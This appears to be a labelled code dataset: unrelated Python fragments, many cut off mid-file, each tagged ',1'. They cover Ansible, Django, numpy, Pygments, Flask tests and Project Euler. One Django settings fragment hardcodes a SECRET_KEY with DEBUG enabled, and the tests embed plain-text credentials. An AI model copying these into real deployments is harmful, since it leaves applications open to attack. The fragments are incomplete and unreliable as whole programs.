cmd.write(cmdString) cmd.seek(0) print 'CMD.EXE exit code:', run('cmd.exe', show=0, stdin=cmd, stdout=out, stderr=out) cmd.close() print 'NOTEPAD exit code:', run('notepad.exe %s' % out.file.name, show=win32con.SW_MAXIMIZE, mSec=timeoutSeconds*1000) out.close() ",1 "t def make_vecs_vals(shape): return randn(*(shape)), randn(*(shape[:-2] + shape[-1:])) try: np.einsum except AttributeError: with_einsum = dec.skipif(True, ""Need einsum for benchmark"") else: def with_einsum(f): return f @with_einsum def test_vec_val_vect(): for shape0 in ((10,), (100,), (10, 12), (12, 10, 5)): for shape1 in ((3, 3), (4, 3), (3, 4)): shape = shape0 + shape1 evecs, evals = make_vecs_vals(shape) res1 = np.einsum('...ij,...j,...kj->...ik', evecs, evals, evecs) assert_almost_equal(res1, vec_val_vect(evecs, evals)) def dumb_sum(vecs, vals): N, rows, cols = vecs.shape res2 = np.zeros((N, rows, rows)) for i in range(N): Q = vecs[i] L = vals[i] res2[i] = np.dot(Q, np.dot(np.diag(L), Q.T)) return res2 def test_vec_val_vect_dumber(): for shape0 in ((10,), (100,)): for shape1 in ((3, 3), (4, 3), (3, 4)): shape = shape0 + shape1 evecs, evals = make_vecs_vals(shape) res1 = dumb_sum(evecs, evals) assert_almost_equal(res1, vec_val_vect(evecs, evals)) ",1 " :copyright: Copyright 2006-2010 by the Pygments team, see AUTHORS. :license: BSD, see LICENSE for details. """""" from pygments.style import Style from pygments.token import Keyword, Name, Comment, String, Error, \ Number, Operator, Generic, Whitespace class BorlandStyle(Style): """""" Style similar to the style used in the borland IDEs. """""" default_style = '' styles = { Whitespace: '#bbbbbb', Comment: 'italic #008800', Comment.Preproc: 'noitalic #008080', Comment.Special: 'noitalic bold', String: '#0000FF', String.Char: '#800080', Number: '#0000FF', Keyword: 'bold #000080', Operator.Word: 'bold', Name.Tag: 'bold #000080', Name.Attribute: '#FF0000', Generic.Heading: '#999999', Generic.Subheading: '#aaaaaa', Generic.Deleted: 'bg:#ffdddd #000000', Generic.Inserted: 'bg:#ddffdd #000000', Generic.Error: '#aa0000', Generic.Emph: 'italic', Generic.Strong: 'bold', Generic.Prompt: '#555555', Generic.Output: '#888888', Generic.Traceback: '#aa0000', Error: 'bg:#e3d2d2 #a61717' } ",1 "# SPDX-License-Identifier: (Apache-2.0 OR MIT) from spack import * class PyIlmbase(AutotoolsPackage): """"""The PyIlmBase libraries provides python bindings for the IlmBase libraries."""""" homepage = ""https://github.com/AcademySoftwareFoundation/openexr/tree/v2.3.0/PyIlmBase"" url = ""https://github.com/AcademySoftwareFoundation/openexr/releases/download/v2.3.0/pyilmbase-2.3.0.tar.gz"" version('2.3.0', sha256='9c898bb16e7bc916c82bebdf32c343c0f2878fc3eacbafa49937e78f2079a425') depends_on('ilmbase') depends_on('boost+python') # https://github.com/AcademySoftwareFoundation/openexr/issues/336 parallel = False def configure_args(self): spec = self.spec args = [ '--with-boost-python-libname=boost_python{0}'.format( spec['python'].version.up_to(2).joined) ] return args ",1 "png"" alt=""projecteuler.net"" style=""border:none;"" />

Number letter counts

Problem 17

Published on Friday, 17th May 2002, 06:00 pm; Solved by 88413; Difficulty rating: 5%

If the numbers 1 to 5 are written out in words: one, two, three, four, five, then there are 3 + 3 + 5 + 4 + 4 = 19 letters used in total.

If all the numbers from 1 to 1000 (one thousand) inclusive were written out in words, how many letters would be used?


NOTE: Do not count spaces or hyphens. For example, 342 (three hundred and forty-two) contains 23 letters and 115 (one hundred and fifteen) contains 20 letters. The use of ""and"" when writing out numbers is in compliance with British usage.



"""""" s={0:"""",1:""one"",2:""two"",3:""three"",4:""four"",5:""five"",6:""six"",7:""seven"",8:""eight"",9:""nine"",10:""ten"",11:""eleven"",12:""twelve"",13:""thirteen"",14:""fourteen"",15:""fifteen"",16:""sixteen"",17:""seventeen"",18:""eighteen"",19:""nineteen"",20:""twenty"",30:""thirty"",40:""forty"",50:""fifty"",60:""sixty"",70:""seventy"",80:""eighty"",90:""ninety""} for i in range(1,1000): if(not i in s.keys()): if(i<100): s[i]=s[i/10*10]+s[i%10] else: s[i]=s[i/100]+""hundred"" if(i%100): s[i]+=""and""+s[i%100] s[1000]=""onethousand"" total=0; for i in s.values(): total+=len(i) print total ",1 "https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, print_function __metaclass__ = type DOCUMENTATION = ''' --- module: group version_added: ""0.0.2"" short_description: Add or remove groups requirements: - groupadd - groupdel - groupmod description: - Manage presence of groups on a host. - For Windows targets, use the M(win_group) module instead. options: name: description: - Name of the group to manage. type: str required: true gid: description: - Optional I(GID) to set for the group. type: int state: description: - Whether the group should be present or not on the remote host. type: str choices: [ absent, present ] default: present system: description: - If I(yes), indicates that the group created is a system group. type: bool default: no local: description: - Forces the use of ""local"" command alternatives on platforms that implement it. - This is useful in environments that use centralized authentication when you want to manipulate the local groups. (e.g. it uses C(lgroupadd) instead of C(groupadd)). - This requires that these commands exist on the targeted host, otherwise it will be a fatal error. type: bool default: no version_added: ""2.6"" non_unique: description: - This option allows to change the group ID to a non-unique value. Requires C(gid). - Not supported on macOS or BusyBox distributions. type: bool default: no version_added: ""2.8"" seealso: - module: user - module: win_group author: - Stephen Fromm (@sfromm) ''' EXAMPLES = ''' - name: Ensure group ""somegroup"" exists group: name: somegroup state: present - name: Ensure group ""docker"" exists with correct gid group: name: docker state: present gid: 1750 ''' RETURN = r''' gid: description: Group ID of the group. returned: When C(state) is 'present' type: int sample: 1001 name: description: Group name returned: always type: str sample: users state: description: Whether the group is present or not returned: always type: str sample: 'absent' system: description: Whether the group is a system group or not returned: When C(state) is 'present' type: bool sample: False ''' import grp import os from ansible.module_utils._text import to_bytes from ansible.module_utils.basic import AnsibleModule from ansible.module_utils.common.sys_info import get_platform_subclass class Group(object): """""" This is a generic Group manipulation class that is subclassed based on platform. A subclass may wish to override the following action methods:- - group_del() - group_add() - group_mod() All subclasses MUST define platform and distribution (which may be None). """""" platform = 'Generic' distribution = None GROUPFILE = '/etc/group' def __new__(cls, *args, **kwargs): new_cls = get_platform_subclass(Group) return super(cls, new_cls).__new__(new_cls) def __init__(self, module): self.module = module self.state = module.params['state'] self.name = module.params['name'] self.gid = module.params['gid'] self.system = module.params['system'] self.local = module.params['local'] self.non_unique = module.params['non_unique'] def execute_command(self, cmd): return self.module.run_command(cmd) def group_del(self): if self.local: command_name = 'lgroupdel' else: command_name = 'groupdel' cmd = [self.module.get_bin_path(command_name, True), self.name] return self.execute_command(cmd) def _local_check_gid_exists(self): if self.gid: for gr in grp.getgrall(): if self.gid == gr.gr_gid and self.name != gr.gr_name: self.module.fail_json(msg=""GID '{0}' already exists with group '{1}'"".format(self.gid, gr.gr_name)) def group_add(self, **kwargs): if self.local: command_name = 'lgroupadd' self._local_check_gid_exists() else: command_name = 'groupadd' cmd = [self.module.get_bin_path(command_name, True)] for key in kwargs: if key == 'gid' and kwargs[key] is not None: cmd.append('-g') cmd.append(str(kwargs[key])) if self.non_unique: cmd.append('-o') elif key == 'system' and kwargs[key] is True: cmd.append('-r') cmd.append(self.name) return self.execute_command(cmd) def group_mod(self, **kwargs): if self.local: command_name = 'lgroupmod' self._local_check_gid_exists() else: command_name = 'groupmod' cmd = [self.module.get_bin_path(command_name, True)] info = self.group_info() for key in kwargs: if key == 'gid': if kwargs[key] is not None and info[2] != int(kwargs[key]): cmd.append('-g') cmd.append(str(kwargs[key])) if self.non_unique: cmd.append('-o') if len(cmd) == 1: return (None, '', '') if self.module.check_mode: return (0, '', '') cmd.append(self.name) return self.execute_command(cmd) def group_exists(self): # The grp module does not distinguish between local and directory accounts. # It's output cannot be used to determine whether or not a group exists locally. # It returns True if the group exists locally or in the directory, so instead # look in the local GROUP file for an existing account. if self.local: if not os.path.exists(self.GROUPFILE): self.module.fail_json(msg=""'local: true' specified but unable to find local group file {0} to parse."".format(self.GROUPFILE)) exists = False name_test = '{0}:'.format(self.name) with open(self.GROUPFILE, 'rb') as f: reversed_lines = f.readlines()[::-1] for line in reversed_lines: if line.startswith(to_bytes(name_test)): exists = True break if not exists: self.module.warn( ""'local: true' specified and group was not found in {file}. "" ""The local group may already exist if the local group database exists somewhere other than {file}."".format(file=self.GROUPFILE)) return exists else: try: if grp.getgrnam(self.name): return True except KeyError: return False def group_info(self): if not self.group_exists(): return False try: info = list(grp.getgrnam(self.name)) except KeyError: return False return info # =========================================== class SunOS(Group): """""" This is a SunOS Group manipulation class. Solaris doesn't have the 'system' group concept. This overrides the following methods from the generic class:- - group_add() """""" platform = 'SunOS' distribution = None GROUPFILE = '/etc/group' def group_add(self, **kwargs): cmd = [self.module.get_bin_path('groupadd', True)] for key in kwargs: if key == 'gid' and kwargs[key] is not None: cmd.append('-g') cmd.append(str(kwargs[key])) if self.non_unique: cmd.append('-o') cmd.append(self.name) return self.execute_command(cmd) # =========================================== class AIX(Group): """""" This is a AIX Group manipulation class. This overrides the following methods from the generic class:- - group_del() - group_add() - group_mod() """""" platform = 'AIX' distribution = None GROUPFILE = '/etc/group' def group_del(self): cmd = [self.module.get_bin_path('rmgroup', True), self.name] return self.execute_command(cmd) def group_add(self, **kwargs): cmd = [self.module.get_bin_path('mkgroup', True)] for key in kwargs: if key == 'gid' and kwargs[key] is not None: cmd.append('id=' + str(kwargs[key])) elif key == 'system' and kwargs[key] is True: cmd.append('-a') cmd.append(self.name) return self.execute_command(cmd) def group_mod(self, **kwargs): cmd = [self.module.get_bin_path('chgroup', True)] info = self.group_info() for key in kwargs: if key == 'gid': if kwargs[key] is not None and info[2] != int(kwargs[key]): cmd.append('id=' + str(kwargs[key])) if len(cmd) == 1: return (None, '', '') if self.module.check_mode: return (0, '', '') cmd.append(self.name) return self.execute_command(cmd) # =========================================== class FreeBsdGroup(Group): """""" This is a FreeBSD Group manipulation class. This overrides the following methods from the generic class:- - group_del() - group_add() - group_mod() """""" platform = 'FreeBSD' distribution = None GROUPFILE = '/etc/group' def group_del(self): cmd = [self.module.get_bin_path('pw', True), 'groupdel', self.name] return self.execute_command(cmd) def group_add(self, **kwargs): cmd = [self.module.get_bin_path('pw', True), 'groupadd', self.name] if self.gid is not None: cmd.append('-g') cmd.append(str(self.gid)) if self.non_unique: cmd.append('-o') return self.execute_command(cmd) def group_mod(self, **kwargs): cmd = [self.module.get_bin_path('pw', True), 'groupmod', self.name] info = self.group_info() cmd_len = len(cmd) if self.gid is not None and int(self.gid) != info[2]: cmd.append('-g') cmd.append(str(self.gid)) if self.non_unique: cmd.append('-o') # modify the group if cmd will do anything if cmd_len != len(cmd): if self.module.check_mode: return (0, '', '') return self.execute_command(cmd) return (None, '', '') class DragonFlyBsdGroup(FreeBsdGroup): """""" This is a DragonFlyBSD Group manipulation class. It inherits all behaviors from FreeBsdGroup class. """""" platform = 'DragonFly' # =========================================== class DarwinGroup(Group): """""" This is a Mac macOS Darwin Group manipulation class. This overrides the following methods from the generic class:- - group_del() - group_add() - group_mod() group manipulation are done using dseditgroup(1). """""" platform = 'Darwin' distribution = None def group_add(self, **kwargs): cmd = [self.module.get_bin_path('dseditgroup', True)] cmd += ['-o', 'create'] if self.gid is not None: cmd += ['-i', str(self.gid)] elif 'system' in kwargs and kwargs['system'] is True: gid = self.get_lowest_available_system_gid() if gid is not False: self.gid = str(gid) cmd += ['-i', str(self.gid)] cmd += ['-L', self.name] (rc, out, err) = self.execute_command(cmd) return (rc, out, err) def group_del(self): cmd = [self.module.get_bin_path('dseditgroup', True)] cmd += ['-o', 'delete'] cmd += ['-L', self.name] (rc, out, err) = self.execute_command(cmd) return (rc, out, err) def group_mod(self, gid=None): info = self.group_info() if self.gid is not None and int(self.gid) != info[2]: cmd = [self.module.get_bin_path('dseditgroup', True)] cmd += ['-o', 'edit'] if gid is not None: cmd += ['-i', str(gid)] cmd += ['-L', self.name] (rc, out, err) = self.execute_command(cmd) return (rc, out, err) return (None, '', '') def get_lowest_available_system_gid(self): # check for lowest available system gid (< 500) try: cmd = [self.module.get_bin_path('dscl', True)] cmd += ['/Local/Default', '-list', '/Groups', 'PrimaryGroupID'] (rc, out, err) = self.execute_command(cmd) lines = out.splitlines() highest = 0 for group_info in lines: parts = group_info.split(' ') if len(parts) > 1: gid = int(parts[-1]) if gid > highest and gid < 500: highest = gid if highest == 0 or highest == 499: return False return (highest + 1) except Exception: return False class OpenBsdGroup(Group): """""" This is a OpenBSD Group manipulation class. This overrides the following methods from the generic class:- - group_del() - group_add() - group_mod() """""" platform = 'OpenBSD' distribution = None GROUPFILE = '/etc/group' def group_del(self): cmd = [self.module.get_bin_path('groupdel', True), self.name] return self.execute_command(cmd) def group_add(self, **kwargs): cmd = [self.module.get_bin_path('groupadd', True)] if self.gid is not None: cmd.append('-g') cmd.append(str(self.gid)) if self.non_unique: cmd.append('-o') cmd.append(self.name) return self.execute_command(cmd) def group_mod(self, **kwargs): cmd = [self.module.get_bin_path('groupmod', True)] info = self.group_info() if self.gid is not None and int(self.gid) != info[2]: cmd.append('-g') cmd.append(str(self.gid)) if self.non_unique: cmd.append('-o') if len(cmd) == 1: return (None, '', '') if self.module.check_mode: return (0, '', '') cmd.append(self.name) return self.execute_command(cmd) # =========================================== class NetBsdGroup(Group): """""" This is a NetBSD Group manipulation class. This overrides the following methods from the generic class:- - group_del() - group_add() - group_mod() """""" platform = 'NetBSD' distribution = None GROUPFILE = '/etc/group' def group_del(self): cmd = [self.module.get_bin_path('groupdel', True), self.name] return self.execute_command(cmd) def group_add(self, **kwargs): cmd = [self.module.get_bin_path('groupadd', True)] if self.gid is not None: cmd.append('-g') cmd.append(str(self.gid)) if self.non_unique: cmd.append('-o') cmd.append(self.name) return self.execute_command(cmd) def group_mod(self, **kwargs): cmd = [self.module.get_bin_path('groupmod', True)] info = self.group_info() if self.gid is not None and int(self.gid) != info[2]: cmd.append('-g') cmd.append(str(self.gid)) if self.non_unique: cmd.append('-o') if len(cmd) == 1: return (None, '', '') if self.module.check_mode: return (0, '', '') cmd.append(self.name) return self.execute_command(cmd) # =========================================== class BusyBoxGroup(Group): """""" BusyBox group manipulation class for systems that have addgroup and delgroup. It overrides the following methods: - group_add() - group_del() - group_mod() """""" def group_add(self, **kwargs): cmd = [self.module.get_bin_path('addgroup', True)] if self.gid is not None: cmd.extend(['-g', str(self.gid)]) if self.system: cmd.append('-S') cmd.append(self.name) return self.execute_command(cmd) def group_del(self): cmd = [self.module.get_bin_path('delgroup', True), self.name] return self.execute_command(cmd) def group_mod(self, **kwargs): # Since there is no groupmod command, modify /etc/group directly info = self.group_info() if self.gid is not None and self.gid != info[2]: with open('/etc/group', 'rb') as f: b_groups = f.read() b_name = to_bytes(self.name) b_current_group_string = b'%s:x:%d:' % (b_name, info[2]) b_new_group_string = b'%s:x:%d:' % (b_name, self.gid) if b':%d:' % self.gid in b_groups: self.module.fail_json(msg=""gid '{gid}' in use"".format(gid=self.gid)) if self.module.check_mode: return 0, '', '' b_new_groups = b_groups.replace(b_current_group_string, b_new_group_string) with open('/etc/group', 'wb') as f: f.write(b_new_groups) return 0, '', '' return None, '', '' class AlpineGroup(BusyBoxGroup): platform = 'Linux' distribution = 'Alpine' def main(): module = AnsibleModule( argument_spec=dict( state=dict(type='str', default='present', choices=['absent', 'present']), name=dict(type='str', required=True), gid=dict(type='int'), system=dict(type='bool', default=False), local=dict(type='bool', default=False), non_unique=dict(type='bool', default=False), ), supports_check_mode=True, required_if=[ ['non_unique', True, ['gid']], ], ) group = Group(module) module.debug('Group instantiated - platform %s' % group.platform) if group.distribution: module.debug('Group instantiated - distribution %s' % group.distribution) rc = None out = '' err = '' result = {} result['name'] = group.name result['state'] = group.state if group.state == 'absent': if group.group_exists(): if module.check_mode: module.exit_json(changed=True) (rc, out, err) = group.group_del() if rc != 0: module.fail_json(name=group.name, msg=err) elif group.state == 'present': if not group.group_exists(): if module.check_mode: module.exit_json(changed=True) (rc, out, err) = group.group_add(gid=group.gid, system=group.system) else: (rc, out, err) = group.group_mod(gid=group.gid) if rc is not None and rc != 0: module.fail_json(name=group.name, msg=err) if rc is None: result['changed'] = False else: result['changed'] = True if out: result['stdout'] = out if err: result['stderr'] = err if group.group_exists(): info = group.group_info() result['system'] = group.system result['gid'] = info[2] module.exit_json(**result) if __name__ == '__main__': main() ",1 "fy # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . import capstone import _any_capstone dis = capstone.Cs(capstone.CS_ARCH_ARM, capstone.CS_MODE_ARM) def PROCESSOR_ENTRY(): return _any_capstone.Processor(""arm_32"", dis) ",1 " self._saved_msg.append(msg) def get_msg(self): return self._saved_msg def test_multi_pubsub_once(): holder1 = MessageHolder() holder2 = MessageHolder() holder3 = MessageHolder() sub1 = jps.Subscriber('test_utils1', holder1) sub2 = jps.Subscriber('test_utils2', holder2) sub3 = jps.Subscriber('test_utils3', holder3) pub = jps.utils.JsonMultiplePublisher() time.sleep(0.1) pub.publish( '{""test_utils1"": ""hoge"", ""test_utils2"": {""x"": 3}, ""test_utils3"": 5}') time.sleep(0.1) sub1.spin_once() sub2.spin_once() sub3.spin_once() assert len(holder1.get_msg()) == 1 assert json.loads(holder1.get_msg()[0]) == 'hoge' assert len(holder2.get_msg()) == 1 obj = json.loads(holder2.get_msg()[0]) assert obj['x'] == 3 assert len(holder3.get_msg()) == 1 assert json.loads(holder3.get_msg()[0]) == 5 def test_to_obj(): msg = '{""aa"": 1, ""bb"": [""hoge"", ""hogi""], ""cc"": {""cc1"" : 50}}' converted = jps.utils.to_obj(msg) assert converted.aa == 1 assert converted.bb[0] == 'hoge' assert converted.bb[1] == 'hogi' assert len(converted.bb) == 2 assert converted.cc.cc1 == 50 # todo: do # json = converted.to_json() # assert json == msg # todo def test_to_obj_list(): msg = '[""hoge"", ""hogi"", {""atr1"": ""val2"", ""atr2"": 1.0}]' bb = jps.utils.to_obj(msg) assert len(bb) == 2 assert bb[0] == 'hoge' assert bb[1] == 'hogi' assert bb[2].atr1 == 'val2' assert bb[2].atr2 == 1.0 # json = bb.to_json() # assert json == msg def test_to_obj_list(): msg = '[{""hoge"": 1}, {""hogi"": 2}]' bb = jps.utils.to_obj(msg) assert len(bb) == 2 assert bb[0].hoge == 1 assert bb[1].hogi == 2 # todo: list support # json = bb.to_json() # assert json == msg def test_to_obj_simple(): msg = '{""aa"": 1, ""cc"": 3, ""bb"": 2}' converted = jps.utils.to_obj(msg) assert converted.aa == 1 assert converted.bb == 2 assert converted.cc == 3 # works only super simple case json1 = converted.to_json() assert json1 == msg ",1 "/en/1.8/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home') Including another URLconf 1. Add an import: from blog import urls as blog_urls 2. Add a URL to urlpatterns: url(r'^blog/', include(blog_urls)) """""" import os from django.conf import settings from django.conf.urls import include, url from django.contrib import admin from django.contrib.auth.views import logout from django.core.urlresolvers import reverse_lazy from django.views.generic import RedirectView from course_discovery.apps.core import views as core_views admin.autodiscover() # pylint: disable=invalid-name # Always login via edX OpenID Connect login = RedirectView.as_view(url=reverse_lazy('social:begin', args=['edx-oidc']), permanent=False, query_string=True) urlpatterns = [ url(r'^admin/', include(admin.site.urls)), url(r'^api/', include('course_discovery.apps.api.urls', namespace='api')), url(r'^api-auth/', include('rest_framework.urls', namespace='rest_framework')), url(r'^auto_auth/$', core_views.AutoAuth.as_view(), name='auto_auth'), url(r'^health/$', core_views.health, name='health'), url(r'^login/$', login, name='login'), url(r'^logout/$', logout, name='logout'), url('', include('social.apps.django_app.urls', namespace='social')), ] if settings.DEBUG and os.environ.get('ENABLE_DJANGO_TOOLBAR', False): # pragma: no cover import debug_toolbar # pylint: disable=import-error urlpatterns.append(url(r'^__debug__/', include(debug_toolbar.urls))) ",1 "i import WebDriverWait from selenium.webdriver.support import expected_conditions from behave import * @step('I share first element in the history list') def step_impl(context): context.execute_steps(u''' given I open History dialog ''') history = context.browser.find_element_by_id(""HistoryPopup"") entries = history.find_elements_by_xpath('.//li[not(@data-clone-template)]') assert len(entries) > 0, ""There are no entries in the history"" item = entries[0] item.find_elements_by_xpath('.//*[@data-share-item]')[0].click() @then('the json to share is shown with url ""{url}"" and contains the following headers') def step_impl(context, url): # Wait for modal to appear WebDriverWait(context.browser, 10).until( expected_conditions.visibility_of_element_located( (By.ID, 'ShareRequestForm'))) output = context.browser.execute_script(""return restman.ui.editors.get('#ShareRequestEditor').getValue();"") snippet = json.loads(output) assert url == snippet[""url""], ""URL: \""{}\"" not in output.\nOutput: {}"".format(value, output) for row in context.table: assert row['key'] in snippet['headers'], ""Header {} is not in output"".format(row['key']) assert row['value'] == snippet['headers'][row['key']], ""Header value is not correct. Expected: {}; Actual: {}"".format(value, snippet['headers'][name]) @step('I click on import request') def step_impl(context): context.execute_steps(u''' given I open History dialog ''') # Click on import context.browser.find_element_by_id('ImportHistory').click() WebDriverWait(context.browser, 10).until( expected_conditions.visibility_of_element_located( (By.ID, 'ImportRequestForm'))) @step('I write a shared request for ""{url}""') def step_impl(context, url): req = json.dumps({ ""method"": ""POST"", ""url"": url, ""headers"": { ""Content-Type"": ""application/json"", ""X-Test-Header"": ""shared_request"" }, ""body"": { ""type"": ""form"", ""content"": { ""SomeKey"": ""SomeValue11233"", ""SomeOtherKey"": ""SomeOtherValue019"", } } }) context.browser.execute_script(""return restman.ui.editors.setValue('#ImportRequestEditor', atob('{}'));"".format(base64.b64encode(req))) @step('I click on load import request') def step_impl(context): # Import request context.browser.find_element_by_xpath(""//*[@id='ImportRequestForm']//input[@value='Import']"").click() ",1 "ocs.djangoproject.com/en/1.10/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.10/ref/settings/ """""" import os # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/1.10/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = 'jtn=n8&nq9jgir8_z1ck40^c1s22d%=)z5qsm*q(bku*_=^sg&' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = [] # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'ross.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'ross.wsgi.application' # Database # https://docs.djangoproject.com/en/1.10/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), } } # Password validation # https://docs.djangoproject.com/en/1.10/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/1.10/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/1.10/howto/static-files/ STATIC_URL = '/static/' ",1 "t.server import bcrypt from project.server.models import User from project.server.user.forms import LoginForm class TestUserBlueprint(BaseTestCase): def test_correct_login(self): # Ensure login behaves correctly with correct credentials. with self.client: response = self.client.post( ""/login"", data=dict(email=""ad@min.com"", password=""admin_user""), follow_redirects=True, ) self.assertIn(b""Welcome"", response.data) self.assertIn(b""Logout"", response.data) self.assertIn(b""Members"", response.data) self.assertTrue(current_user.email == ""ad@min.com"") self.assertTrue(current_user.is_active()) self.assertEqual(response.status_code, 200) def test_logout_behaves_correctly(self): # Ensure logout behaves correctly - regarding the session. with self.client: self.client.post( ""/login"", data=dict(email=""ad@min.com"", password=""admin_user""), follow_redirects=True, ) response = self.client.get(""/logout"", follow_redirects=True) self.assertIn(b""You were logged out. Bye!"", response.data) self.assertFalse(current_user.is_active) def test_logout_route_requires_login(self): # Ensure logout route requres logged in user. response = self.client.get(""/logout"", follow_redirects=True) self.assertIn(b""Please log in to access this page"", response.data) def test_member_route_requires_login(self): # Ensure member route requres logged in user. response = self.client.get(""/members"", follow_redirects=True) self.assertIn(b""Please log in to access this page"", response.data) def test_validate_success_login_form(self): # Ensure correct data validates. form = LoginForm(email=""ad@min.com"", password=""admin_user"") self.assertTrue(form.validate()) def test_validate_invalid_email_format(self): # Ensure invalid email format throws error. form = LoginForm(email=""unknown"", password=""example"") self.assertFalse(form.validate()) def test_get_by_id(self): # Ensure id is correct for the current/logged in user. with self.client: self.client.post( ""/login"", data=dict(email=""ad@min.com"", password=""admin_user""), follow_redirects=True, ) self.assertTrue(current_user.id == 1) def test_registered_on_defaults_to_datetime(self): # Ensure that registered_on is a datetime. with self.client: self.client.post( ""/login"", data=dict(email=""ad@min.com"", password=""admin_user""), follow_redirects=True, ) user = User.query.filter_by(email=""ad@min.com"").first() self.assertIsInstance(user.registered_on, datetime.datetime) def test_check_password(self): # Ensure given password is correct after unhashing. user = User.query.filter_by(email=""ad@min.com"").first() self.assertTrue( bcrypt.check_password_hash(user.password, ""admin_user"") ) self.assertFalse(bcrypt.check_password_hash(user.password, ""foobar"")) def test_validate_invalid_password(self): # Ensure user can't login when the pasword is incorrect. with self.client: response = self.client.post( ""/login"", data=dict(email=""ad@min.com"", password=""foo_bar""), follow_redirects=True, ) self.assertIn(b""Invalid email and/or password."", response.data) def test_register_route(self): # Ensure about route behaves correctly. response = self.client.get(""/register"", follow_redirects=True) self.assertIn(b""

Register

\n"", response.data) def test_user_registration(self): # Ensure registration behaves correctlys. with self.client: response = self.client.post( ""/register"", data=dict( email=""test@tester.com"", password=""testing"", confirm=""testing"", ), follow_redirects=True, ) self.assertIn(b""Welcome"", response.data) self.assertTrue(current_user.email == ""test@tester.com"") self.assertTrue(current_user.is_active()) self.assertEqual(response.status_code, 200) if __name__ == ""__main__"": unittest.main() ",1 " ""Make a class named %%% that is-a %%%."", ""class %%%(object):\n\tdef __init__(self, ***)"" : ""class %%% has-a __init__ hat takes self and *** parameter."", ""class %%%(object):\n\tdef ***(self, @@@)"": ""class %%% has-a function named *** that takes self and @@@ parameter."", ""*** = %%%()"": ""Set *** to an instance of class %%%."", ""***.***(@@@)"": ""From *** get the *** function, and call it with parameters self, @@@."", ""***.*** = '***'"": ""From *** get the *** attribute and set it to '***'."" } # do they want to drill phrases first if len(sys.argv) == 2 and sys.argv[1] == ""english"": PHRASE_FIRST = True else: PHRASE_FIRST = False # load up the word from the website for word in urlopen(WORD_URL).readlines(): WORDS.append(word.strip()) def convert(snippet, phrase): class_names = [w.capitalize() for w in random.sample(WORDS, snippet.count(""%%%""))] other_names = random.sample(WORDS, snippet.count(""***"")) results = [] param_names = [] for i in range(0, snippet.count(""@@@"")): param_count = random.randint(1,3) param_names.append(', '.join(random.sample(WORDS, param_count))) for sentence in snippet, phrase: result = sentence[:] # fake class names for word in class_names: result = result.replace(""%%%"", word, 1) # fake other names for word in other_names: result = result.replace(""***"", word, 1) # fake parameter lists for word in param_names: result = result.replace(""@@@"", word, 1) results.append(result) return results # keep going until they hit CTRL-D try: while True: snippets = PHRASES.keys() random.shuffle(snippets) for snippet in snippets: phrase = PHRASES[snippet] question, answer = convert(snippet, phrase) if PHRASE_FIRST: question, answer = answer, question print question raw_input(""> "") print ""ANSWER: %s\n\n"" % answer except EOFError: print ""\nBye"" ",1 "olivre.org> # # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation # files (the ""Software""), to deal in the Software without # restriction, including without limitation the rights to use, # copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the # Software is furnished to do so, subject to the following # conditions: # # The above copyright notice and this permission notice shall be # included in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED ""AS IS"", WITHOUT WARRANTY OF ANY KIND, # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES # OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT # HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, # WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR # OTHER DEALINGS IN THE SOFTWARE. import requests from unittest import skip from sure import expect from httpretty import HTTPretty @skip def test_http_passthrough(): url = 